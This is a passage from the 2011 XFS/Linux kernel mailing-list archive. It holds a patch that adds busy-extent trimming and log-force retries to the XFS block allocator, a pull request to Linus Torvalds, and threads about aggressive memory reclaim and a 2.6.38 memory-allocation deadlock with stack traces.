@@ xfs_alloc_ag_vextent_near( xfs_agblock_t ltbnoa; /* aligned ... */ xfs_extlen_t ltdiff; /* difference to left side entry */ xfs_extlen_t ltlen; /* length of left side entry */ - xfs_extlen_t ltlena = 0; /* aligned ... */ + xfs_extlen_t ltlena; /* aligned ... */ xfs_agblock_t ltnew; /* useful start bno of left side */ xfs_extlen_t rlen; /* length of returned extent */ + int forced = 0; #if defined(DEBUG) && defined(__KERNEL__) /* * Randomly don't execute the first algorithm. @@ -800,13 +797,20 @@ xfs_alloc_ag_vextent_near( dofirst = random32() & 1; #endif + +restart: + bno_cur_lt = NULL; + bno_cur_gt = NULL; + ltlen = 0; + gtlena = 0; + ltlena = 0; + /* * Get a cursor for the by-size btree. */ cnt_cur = xfs_allocbt_init_cursor(args->mp, args->tp, args->agbp, args->agno, XFS_BTNUM_CNT); - ltlen = 0; - bno_cur_lt = bno_cur_gt = NULL; + /* * See if there are any free extents as big as maxlen. */ @@ -822,11 +826,13 @@ xfs_alloc_ag_vextent_near( goto error0; if (i == 0 || ltlen == 0) { xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); + trace_xfs_alloc_near_noentry(args); return 0; } ASSERT(i == 1); } args->wasfromfl = 0; + /* * First algorithm. * If the requested extent is large wrt the freespaces available @@ -890,7 +896,7 @@ xfs_alloc_ag_vextent_near( if (args->len < blen) continue; ltdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, ltbno, ltlen, <new); + args->alignment, ltbnoa, ltlena, <new); if (ltnew != NULLAGBLOCK && (args->len > blen || ltdiff < bdiff)) { bdiff = ltdiff; @@ -1042,11 +1048,12 @@ xfs_alloc_ag_vextent_near( args->len = XFS_EXTLEN_MIN(ltlena, args->maxlen); xfs_alloc_fix_len(args); ltdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, ltbno, ltlen, <new); + args->alignment, ltbnoa, ltlena, <new); error = xfs_alloc_find_best_extent(args, &bno_cur_lt, &bno_cur_gt, - ltdiff, >bno, >len, >lena, + ltdiff, >bno, >len, + >bnoa, >lena, 0 /* search right */); } else { ASSERT(gtlena >= args->minlen); @@ -1057,11 +1064,12 @@ xfs_alloc_ag_vextent_near( args->len = XFS_EXTLEN_MIN(gtlena, args->maxlen); xfs_alloc_fix_len(args); gtdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, gtbno, gtlen, >new); + args->alignment, gtbnoa, gtlena, >new); error = xfs_alloc_find_best_extent(args, &bno_cur_gt, &bno_cur_lt, - gtdiff, <bno, <len, <lena, + gtdiff, <bno, <len, + <bnoa, <lena, 1 /* search left */); } @@ -1073,6 +1081,12 @@ xfs_alloc_ag_vextent_near( * If we couldn't get anything, give up. */ if (bno_cur_lt == NULL && bno_cur_gt == NULL) { + if (!forced++) { + trace_xfs_alloc_near_busy(args); + xfs_log_force(args->mp, XFS_LOG_SYNC); + goto restart; + } + trace_xfs_alloc_size_neither(args); args->agbno = NULLAGBLOCK; return 0; @@ -1107,12 +1121,13 @@ xfs_alloc_ag_vextent_near( return 0; } rlen = args->len; - (void)xfs_alloc_compute_diff(args->agbno, rlen, args->alignment, ltbno, - ltlen, <new); + (void)xfs_alloc_compute_diff(args->agbno, rlen, args->alignment, + ltbnoa, ltlena, <new); ASSERT(ltnew >= ltbno); - ASSERT(ltnew + rlen <= ltbno + ltlen); + ASSERT(ltnew + rlen <= ltbnoa + ltlena); ASSERT(ltnew + rlen <= be32_to_cpu(XFS_BUF_TO_AGF(args->agbp)->agf_length)); args->agbno = ltnew; + if ((error = xfs_alloc_fixup_trees(cnt_cur, bno_cur_lt, ltbno, ltlen, ltnew, rlen, XFSA_FIXUP_BNO_OK))) goto error0; @@ -1155,26 +1170,35 @@ xfs_alloc_ag_vextent_size( int i; /* temp status variable */ xfs_agblock_t rbno; /* returned block number */ xfs_extlen_t rlen; /* length of returned extent */ + int forced = 0; +restart: /* * Allocate and initialize a cursor for the by-size btree. */ cnt_cur = xfs_allocbt_init_cursor(args->mp, args->tp, args->agbp, args->agno, XFS_BTNUM_CNT); bno_cur = NULL; + /* * Look for an entry >= maxlen+alignment-1 blocks. */ if ((error = xfs_alloc_lookup_ge(cnt_cur, 0, args->maxlen + args->alignment - 1, &i))) goto error0; + /* - * If none, then pick up the last entry in the tree unless the - * tree is empty. - */ - if (!i) { - if ((error = xfs_alloc_ag_vextent_small(args, cnt_cur, &fbno, - &flen, &i))) + * If none or we have busy extents that we cannot allocate from, then + * we have to settle for a smaller extent. In the case that there are + * no large extents, this will return the last entry in the tree unless + * the tree is empty. In the case that there are only busy large + * extents, this will return the largest small extent unless there + * are no smaller extents available. + */ + if (!i || forced > 1) { + error = xfs_alloc_ag_vextent_small(args, cnt_cur, + &fbno, &flen, &i); + if (error) goto error0; if (i == 0 || flen == 0) { xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); @@ -1182,22 +1206,56 @@ xfs_alloc_ag_vextent_size( return 0; } ASSERT(i == 1); - } - /* - * There's a freespace as big as maxlen+alignment-1, get it. - */ - else { - if ((error = xfs_alloc_get_rec(cnt_cur, &fbno, &flen, &i))) - goto error0; - XFS_WANT_CORRUPTED_GOTO(i == 1, error0); - } + xfs_alloc_compute_aligned(args, fbno, flen, &rbno, &rlen); + } else { + /* + * Search for a non-busy extent that is large enough. + * If we are at low space, don't check, or if we fall of + * the end of the btree, turn off the busy check and + * restart. + */ + for (;;) { + error = xfs_alloc_get_rec(cnt_cur, &fbno, &flen, &i); + if (error) + goto error0; + XFS_WANT_CORRUPTED_GOTO(i == 1, error0); + + xfs_alloc_compute_aligned(args, fbno, flen, + &rbno, &rlen); + + if (rlen >= args->maxlen) + break; + + error = xfs_btree_increment(cnt_cur, 0, &i); + if (error) + goto error0; + if (i == 0) { + /* + * Our only valid extents must have been busy. + * Make it unbusy by forcing the log out and + * retrying. If we've been here before, forcing + * the log isn't making the extents available, + * which means they have probably been freed in + * this transaction. In that case, we have to + * give up on them and we'll attempt a minlen + * allocation the next time around. + */ + xfs_btree_del_cursor(cnt_cur, + XFS_BTREE_NOERROR); + trace_xfs_alloc_size_busy(args); + if (!forced++) + xfs_log_force(args->mp, XFS_LOG_SYNC); + goto restart; + } + } + } + /* * In the first case above, we got the last entry in the * by-size btree. Now we check to see if the space hits maxlen * once aligned; if not, we search left for something better. * This can't happen in the second case above. */ - xfs_alloc_compute_aligned(args, fbno, flen, &rbno, &rlen); rlen = XFS_EXTLEN_MIN(args->maxlen, rlen); XFS_WANT_CORRUPTED_GOTO(rlen == 0 || (rlen <= flen && rbno + rlen <= fbno + flen), error0); @@ -1251,13 +1309,19 @@ xfs_alloc_ag_vextent_size( * Fix up the length. */ args->len = rlen; - xfs_alloc_fix_len(args); - if (rlen < args->minlen || !xfs_alloc_fix_minleft(args)) { - xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); - trace_xfs_alloc_size_nominleft(args); - args->agbno = NULLAGBLOCK; - return 0; + if (rlen < args->minlen) { + if (!forced++) { + xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); + trace_xfs_alloc_size_busy(args); + xfs_log_force(args->mp, XFS_LOG_SYNC); + goto restart; + } + goto out_nominleft; } + xfs_alloc_fix_len(args); + + if (!xfs_alloc_fix_minleft(args)) + goto out_nominleft; rlen = args->len; XFS_WANT_CORRUPTED_GOTO(rlen <= flen, error0); /* @@ -1287,6 +1351,12 @@ error0: if (bno_cur) xfs_btree_del_cursor(bno_cur, XFS_BTREE_ERROR); return error; + +out_nominleft: + xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); + trace_xfs_alloc_size_nominleft(args); + args->agbno = NULLAGBLOCK; + return 0; } /* @@ -2634,6 +2704,178 @@ xfs_alloc_busy_search( return match; } +/* + * For a given extent [fbno, flen], search the busy extent list + * to find a subset of the extent that is not busy. + */ +STATIC void +xfs_alloc_busy_trim( + struct xfs_alloc_arg *args, + xfs_agblock_t bno, + xfs_extlen_t len, + xfs_agblock_t *rbno, + xfs_extlen_t *rlen) +{ + xfs_agblock_t fbno = bno; + xfs_extlen_t flen = len; + struct rb_node *rbp; + + ASSERT(flen > 0); + + spin_lock(&args->pag->pagb_lock); + rbp = args->pag->pagb_tree.rb_node; + while (rbp && flen >= args->minlen) { + struct xfs_busy_extent *busyp = + rb_entry(rbp, struct xfs_busy_extent, rb_node); + xfs_agblock_t fend = fbno + flen; + xfs_agblock_t bbno = busyp->bno; + xfs_agblock_t bend = bbno + busyp->length; + + if (fend <= bbno) { + rbp = rbp->rb_left; + continue; + } else if (fbno >= bend) { + rbp = rbp->rb_right; + continue; + } + + if (bbno <= fbno) { + /* start overlap */ + + /* + * Case 1: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +---------+ + * fbno fend + * + * Case 2: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-------------+ + * fbno fend + * + * Case 3: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-------------+ + * fbno fend + * + * Case 4: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-----------------+ + * fbno fend + * + * No unbusy region in extent, return failure. + */ + if (fend <= bend) + goto fail; + + /* + * Case 5: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +----------------------+ + * fbno fend + * + * Case 6: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +--------------------------+ + * fbno fend + * + * Needs to be trimmed to: + * +-------+ + * fbno fend + */ + fbno = bend; + } else if (bend >= fend) { + /* end overlap */ + + /* + * Case 7: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +------------------+ + * fbno fend + * + * Case 8: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +--------------------------+ + * fbno fend + * + * Needs to be trimmed to: + * +-------+ + * fbno fend + */ + fend = bbno; + } else { + /* middle overlap */ + + /* + * Case 9: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-----------------------------------+ + * fbno fend + * + * Can be trimmed to: + * +-------+ OR +-------+ + * fbno fend fbno fend + * + * Backward allocation leads to significant + * fragmentation of directories, which degrades + * directory performance, therefore we always want to + * choose the option that produces forward allocation + * patterns. + * Preferring the lower bno extent will make the next + * request use "fend" as the start of the next + * allocation; if the segment is no longer busy at + * that point, we'll get a contiguous allocation, but + * even if it is still busy, we will get a forward + * allocation. + * We try to avoid choosing the segment at "bend", + * because that can lead to the next allocation + * taking the segment at "fbno", which would be a + * backward allocation. We only use the segment at + * "fbno" if it is much larger than the current + * requested size, because in that case there's a + * good chance subsequent allocations will be + * contiguous. + */ + if (bbno - fbno >= args->maxlen) { + /* left candidate fits perfect */ + fend = bbno; + } else if (fend - bend >= args->maxlen * 4) { + /* right candidate has enough free space */ + fbno = bend; + } else if (bbno - fbno >= args->minlen) { + /* left candidate fits minimum requirement */ + fend = bbno; + } else { + goto fail; + } + } + + flen = fend - fbno; + } + spin_unlock(&args->pag->pagb_lock); + + *rbno = fbno; + *rlen = flen; + return; +fail: + /* + * Return a zero extent length as failure indications. All callers + * re-check if the trimmed extent satisfies the minlen requirement. + */ + spin_unlock(&args->pag->pagb_lock); + *rbno = fbno; + *rlen = 0; +} + void xfs_alloc_busy_clear( struct xfs_mount *mp, Index: xfs/fs/xfs/linux-2.6/xfs_trace.h =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_trace.h 2011-03-28 14:11:07.546838286 +0200 +++ xfs/fs/xfs/linux-2.6/xfs_trace.h 2011-03-28 16:01:54.018838901 +0200 @@ -1433,11 +1433,14 @@ DEFINE_ALLOC_EVENT(xfs_alloc_near_first) DEFINE_ALLOC_EVENT(xfs_alloc_near_greater); DEFINE_ALLOC_EVENT(xfs_alloc_near_lesser); DEFINE_ALLOC_EVENT(xfs_alloc_near_error); +DEFINE_ALLOC_EVENT(xfs_alloc_near_noentry); +DEFINE_ALLOC_EVENT(xfs_alloc_near_busy); DEFINE_ALLOC_EVENT(xfs_alloc_size_neither); DEFINE_ALLOC_EVENT(xfs_alloc_size_noentry); DEFINE_ALLOC_EVENT(xfs_alloc_size_nominleft); DEFINE_ALLOC_EVENT(xfs_alloc_size_done); DEFINE_ALLOC_EVENT(xfs_alloc_size_error); +DEFINE_ALLOC_EVENT(xfs_alloc_size_busy); DEFINE_ALLOC_EVENT(xfs_alloc_small_freelist); DEFINE_ALLOC_EVENT(xfs_alloc_small_notenough); DEFINE_ALLOC_EVENT(xfs_alloc_small_done); From aelder@americas.sgi.com Mon Mar 28 16:46:35 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2SLkZ7I187202 for ; Mon, 28 Mar 2011 16:46:35 -0500 Received: from alcatraz.americas.sgi.com (alcatraz.americas.sgi.com [128.162.236.70]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4B7EE304064; Mon, 28 Mar 2011 14:49:42 -0700 (PDT) Received: from alcatraz.americas.sgi.com (localhost.localdomain [127.0.0.1]) by alcatraz.americas.sgi.com (8.13.8/8.12.10/erikj-RedHat-7.2-Eagan) with ESMTP id p2SLnfAI020632; Mon, 28 Mar 2011 16:49:41 -0500 Received: (from aelder@localhost) by alcatraz.americas.sgi.com (8.13.8/8.13.8/Submit) id p2SLneQ1020631; Mon, 28 Mar 2011 16:49:40 -0500 Date: Mon, 28 Mar 2011 16:49:40 -0500 From: Alex Elder Message-Id: <201103282149.p2SLneQ1020631@alcatraz.americas.sgi.com> To: torvalds@linux-foundation.org Subject: [GIT PULL] XFS 2nd update for 2.6.39-rc1 Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Linus, please pull the following XFS updates for 2.6.39. I have two branches for you to choose from: git://oss.sgi.com/xfs/xfs for-linus-merged (recommended) This version includes one additional commit--a manual merge I completed to fix a merge conflict. The conflict was between Jens Axboe's queue plugging work that you pulled in over the weekend, and a change by Dave Chinner to manage XFS internal buffers without involvement of the page cache. git://oss.sgi.com/xfs/xfs for-linus This version contains the XFS changes only, in case you want to do the merge yourself. Thank you. -Alex The following changes since commit 1788c208aab15f9d9d1d24cff0d0c64b5c73bbee: Merge branch 'bugfixes' of git://git.linux-nfs.org/projects/trondmy/nfs-2.6 (2011-03-28 07:52:58 -0700) are available in the git repository at: git://oss.sgi.com/xfs/xfs for-linus-merged Alex Elder (1): Merge branch 'master' of git://oss.sgi.com/xfs/xfs into for-linus-merged Dave Chinner (6): xfs: preallocation transactions do not need to be synchronous vmap: flush vmap aliases when mapping fails xfs: introduce inode cluster buffer trylocks for xfs_iflush xfs: xfs_trans_read_buf() should return an error on failure xfs: register the inode cache shrinker before quotachecks xfs: stop using the page cache to back the buffer cache fs/xfs/linux-2.6/xfs_buf.c | 344 +++++++++++------------------------------- fs/xfs/linux-2.6/xfs_buf.h | 40 +----- fs/xfs/linux-2.6/xfs_file.c | 6 +- fs/xfs/linux-2.6/xfs_ioctl.c | 4 + fs/xfs/linux-2.6/xfs_super.c | 36 +++-- fs/xfs/linux-2.6/xfs_sync.c | 30 ++++- fs/xfs/xfs_inode.c | 2 +- fs/xfs/xfs_inode_item.c | 6 +- fs/xfs/xfs_trans_buf.c | 3 +- fs/xfs/xfs_vnodeops.c | 3 +- fs/xfs/xfs_vnodeops.h | 1 + 11 files changed, 160 insertions(+), 315 deletions(-) From david@fromorbit.com Mon Mar 28 16:50:49 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2SLonK8187372 for ; Mon, 28 Mar 2011 16:50:49 -0500 X-ASG-Debug-ID: 1301349237-411100e40000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id DD3731DFA1F2 for ; Mon, 28 Mar 2011 14:53:57 -0700 (PDT) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id exDg58ag0M7i5Bvl for ; Mon, 28 Mar 2011 14:53:57 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjkEADYBkU15LK5JgWdsb2JhbAClQxUBARYmJcVxDYVcBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 29 Mar 2011 08:23:56 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q4KNc-0002UD-Te; Tue, 29 Mar 2011 08:53:44 +1100 Date: Tue, 29 Mar 2011 08:53:44 +1100 From: Dave Chinner To: John Lepikhin Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com, linux-mm@kvack.org X-ASG-Orig-Subj: Re: Very aggressive memory reclaim Subject: Re: Very aggressive memory reclaim Message-ID: <20110328215344.GC3008@dastard> References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1301349238 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0018 1.0000 -2.0092 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.01 X-Barracuda-Spam-Status: No, SCORE=-2.01 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59251 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean [cc xfs and mm lists] On Mon, Mar 28, 2011 at 08:39:29PM +0400, John Lepikhin wrote: > Hello, > > I use high-loaded machine with 10M+ inodes inside XFS, 50+ GB of > memory, intensive HDD traffic and 20..50 forks per second. Vanilla > kernel 2.6.37.4. The problem is that kernel frees memory very > aggressively. > > For example: > > 25% of memory is used by processes > 50% for page caches > 7% for slabs, etc. > 18% free. > > That's bad but works. After few hours: > > 25% of memory is used by processes > 62% for page caches > 7% for slabs, etc. > 5% free. > > Most of files are cached, works perfectly. This is the moment when > kernel decides to free some memory. After memory reclaim: > > 25% of memory is used by processes > 25% for page caches(!) > 7% for slabs, etc. > 43% free(!) > > Page cache is dropped, server becomes too slow. This is the beginning > of new cycle. > > I didn't found any huge mallocs at that moment. Looks like because of > large number of small mallocs (forks) kernel have pessimistic forecast > about future memory usage and frees too much memory. Is there any > options of tuning this? Any other variants? First it would be useful to determine why the VM is reclaiming so much memory. If it is somewhat predictable when the excessive reclaim is going to happen, it might be worth capturing an event trace from the VM so we can see more precisely what it is doiing during this event. In that case, recording the kmem/* and vmscan/* events is probably sufficient to tell us what memory allocations triggered reclaim and how much reclaim was done on each event. Cheers, Dave. -- Dave Chinner david@fromorbit.com From Sean.Noonan@twosigma.com Mon Mar 28 16:57:08 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2SLv7UY187655 for ; Mon, 28 Mar 2011 16:57:08 -0500 X-ASG-Debug-ID: 1301349612-659b03600000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx3.twosigma.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 260451142355 for ; Mon, 28 Mar 2011 15:00:12 -0700 (PDT) Received: from mx3.twosigma.com (mx3.twosigma.com [208.77.213.34]) by cuda.sgi.com with ESMTP id uLFRnCjCH8p3XYlt for ; Mon, 28 Mar 2011 15:00:12 -0700 (PDT) Received: by mx3.twosigma.com (Postfix, from userid 108) id B8A4F6663A; Mon, 28 Mar 2011 21:34:10 +0000 (UTC) Received: from msxaoa10.twosigma.com (nfw1-1-dmz.twosigma.com [208.77.213.62]) by mx3.twosigma.com (Postfix) with ESMTP id 4681566631; Mon, 28 Mar 2011 21:34:10 +0000 (UTC) Received: from msxaoa6.twosigma.com ([fe80::5d02:8f37:f2d4:e384]) by msxaoa10.twosigma.com ([fe80::1481:fcc5:92c8:8f13%10]) with mapi; Mon, 28 Mar 2011 17:34:10 -0400 From: Sean Noonan To: "'Michel Lespinasse'" CC: Christoph Hellwig , "linux-kernel@vger.kernel.org" , Martin Bligh , Trammell Hudson , Christos Zoulas , "linux-xfs@oss.sgi.com" , Stephen Degler , "linux-mm@kvack.org" Date: Mon, 28 Mar 2011 17:34:09 -0400 X-ASG-Orig-Subj: RE: XFS memory allocation deadlock in 2.6.38 Subject: RE: XFS memory allocation deadlock in 2.6.38 Thread-Topic: XFS memory allocation deadlock in 2.6.38 Thread-Index: AcvtjAU49kGOL4scQ4KHhTRnHL+diAAAO36w Message-ID: <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx3.twosigma.com[208.77.213.34] X-Barracuda-Start-Time: 1301349614 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59250 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > Could you test if you see the deadlock before > 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272 without MAP_POPULATE ? Built and tested 72ddc8f72270758951ccefb7d190f364d20215ab. Confirmed that the original bug does not present in this version. Confirmed that removing MAP_POPULATE does cause the deadlock to occur. Here is the stack of the test: # cat /proc/3846/stack [] call_rwsem_down_read_failed+0x14/0x30 [] xfs_ilock+0x9d/0x110 [] xfs_ilock_map_shared+0x1e/0x50 [] __xfs_get_blocks+0xc5/0x4e0 [] xfs_get_blocks+0xc/0x10 [] do_mpage_readpage+0x462/0x660 [] mpage_readpage+0x4a/0x60 [] xfs_vm_readpage+0x13/0x20 [] filemap_fault+0x2d0/0x4e0 [] __do_fault+0x50/0x510 [] handle_mm_fault+0x1a2/0xe60 [] do_page_fault+0x146/0x440 [] page_fault+0x1f/0x30 [] 0xffffffffffffffff xfssyncd is stuck in D state. # cat /proc/2484/stack [] down+0x3c/0x50 [] xfs_buf_lock+0x72/0x170 [] xfs_getsb+0x1d/0x50 [] xfs_trans_getsb+0x5f/0x150 [] xfs_mod_sb+0x4e/0xe0 [] xfs_fs_log_dummy+0x5a/0xb0 [] xfs_sync_worker+0x83/0x90 [] xfssyncd+0x172/0x220 [] kthread+0x96/0xa0 [] kernel_thread_helper+0x4/0x10 [] 0xffffffffffffffff Sean From minchan.kim@gmail.com Mon Mar 28 17:49:07 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,FREEMAIL_FROM, T_DKIM_INVALID autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2SMn7dt189902 for ; Mon, 28 Mar 2011 17:49:07 -0500 X-ASG-Debug-ID: 1301352736-349602500000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-iy0-f181.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id CC6A1384542 for ; Mon, 28 Mar 2011 15:52:16 -0700 (PDT) Received: from mail-iy0-f181.google.com (mail-iy0-f181.google.com [209.85.210.181]) by cuda.sgi.com with ESMTP id SDEbQSGiSbcwyT94 for ; Mon, 28 Mar 2011 15:52:16 -0700 (PDT) Received: by iyb26 with SMTP id 26so4461927iyb.26 for ; Mon, 28 Mar 2011 15:52:16 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=R9y1xflKhyFU3MMmzCxoiGfArf5o8bjxND6oFG3DuE4=; b=YEdlp1WBCsBKQ22UGQwVxyiWtRHysY3nr2hGQTZxwySvxS/qIN024T6kEEGcrnsAJ/ FxpCRUOZAk/zQcbAKqW56jGMay7lSMoJagEgqvKYg8WC9jT62VGXWiNF6blogGEU4mcj 4+kJH3azuY+Qt03QNYz8ajn1ozMIKtA/VRowk= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=X63h33+1y/LvVo5gnPO2TQU/kHAkwZ0eyOZsAj1CB7cl09zwRYebEqg3dF6UAK6rWF 3Dowvc3iwBBkgwh5LhJLky+AQGy3PdxOFYrm/TVBfmRnokeKdcGirJKhF3kD6ycgyWuW IcR5IO7BgEa9+tw18NRrLECCl/GNUwVW+Vd8w= MIME-Version: 1.0 Received: by 10.231.40.225 with SMTP id l33mr4674791ibe.52.1301352734385; Mon, 28 Mar 2011 15:52:14 -0700 (PDT) Received: by 10.231.159.144 with HTTP; Mon, 28 Mar 2011 15:52:14 -0700 (PDT) In-Reply-To: <20110328215344.GC3008@dastard> References: <20110328215344.GC3008@dastard> Date: Tue, 29 Mar 2011 07:52:14 +0900 Message-ID: X-ASG-Orig-Subj: Re: Very aggressive memory reclaim Subject: Re: Very aggressive memory reclaim From: Minchan Kim To: Dave Chinner Cc: John Lepikhin , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, linux-mm@kvack.org Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-iy0-f181.google.com[209.85.210.181] X-Barracuda-Start-Time: 1301352736 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59255 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 29, 2011 at 6:53 AM, Dave Chinner wrote: > [cc xfs and mm lists] > > On Mon, Mar 28, 2011 at 08:39:29PM +0400, John Lepikhin wrote: >> Hello, >> >> I use high-loaded machine with 10M+ inodes inside XFS, 50+ GB of >> memory, intensive HDD traffic and 20..50 forks per second. Vanilla >> kernel 2.6.37.4. The problem is that kernel frees memory very >> aggressively. >> >> For example: >> >> 25% of memory is used by processes >> 50% for page caches >> 7% for slabs, etc. >> 18% free. >> >> That's bad but works. After few hours: >> >> 25% of memory is used by processes >> 62% for page caches >> 7% for slabs, etc. >> 5% free. >> >> Most of files are cached, works perfectly. This is the moment when >> kernel decides to free some memory. After memory reclaim: >> >> 25% of memory is used by processes >> 25% for page caches(!) >> 7% for slabs, etc. >> 43% free(!) >> >> Page cache is dropped, server becomes too slow. This is the beginning >> of new cycle. >> >> I didn't found any huge mallocs at that moment. Looks like because of >> large number of small mallocs (forks) kernel have pessimistic forecast >> about future memory usage and frees too much memory. Is there any >> options of tuning this? Any other variants? > > First it would be useful to determine why the VM is reclaiming so > much memory. If it is somewhat predictable when the excessive > reclaim is going to happen, it might be worth capturing an event > trace from the VM so we can see more precisely what it is doiing > during this event. In that case, recording the kmem/* and vmscan/* > events is probably sufficient to tell us what memory allocations > triggered reclaim and how much reclaim was done on each event. > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > Recently, We had a similar issue. 